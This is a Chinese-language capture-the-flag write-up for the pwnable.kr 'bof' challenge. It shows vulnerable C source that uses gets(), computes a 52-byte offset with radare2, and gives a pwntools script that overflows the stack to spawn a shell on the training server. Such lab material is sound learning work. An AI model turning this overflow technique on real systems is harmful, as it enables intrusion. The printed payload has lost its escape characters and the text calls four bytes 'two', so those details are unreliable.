pwnable.kr第三题:bof

0x000查看源码

打开bof.c文件

 1 #include <stdio.h>
 2 #include <string.h>
 3 #include <stdlib.h>
 4 void func(int key){
 5     char overflowme[32];
 6     printf("overflow me : ");
 7     gets(overflowme);    // smash me!
 8     if(key == 0xcafebabe){
 9         system("/bin/sh");
10     }
11     else{
12         printf("Nah..
");
13     }
14 }
15 int main(int argc, char* argv[]){
16     func(0xdeadbeef);
17     return 0;
18 }

源码分析:

  要想执行第9行的“system("/bin/sh")”,程序会先判断key的值是否为0xcafebabe,现在最关键的地方就是找到key的位置,并将地址的内容覆盖为0xcafebabe。

0x001分析汇编代码

  使用radare2分析汇编代码:

  

      查看main函数

      

 查看func

 分析程序可知,用户输入的地址为var int local_2ch @ ebp-0x2c,key存放的地址为arg unsigned int arg_8h @ ebp+0x8,现在,要做的就是计算用户输入的地址到key存放的地址之间相差多少字节,0x8+0x2c,化为十进制结果为52,所以在这段距离中填充任意字符,然后再填充两个字节0xcafebabe,就可以获得一个shell了。

0x002 脚本编写

from pwn import *

pwn_socket=remote('pwnable.kr',9000)
pwn_socket.sendline('a'*52+'xbexbaxfexca')
pwn_socket.interactive()

运行即可获得一个shell:





原文地址:https://www.cnblogs.com/DennyT/p/11619497.html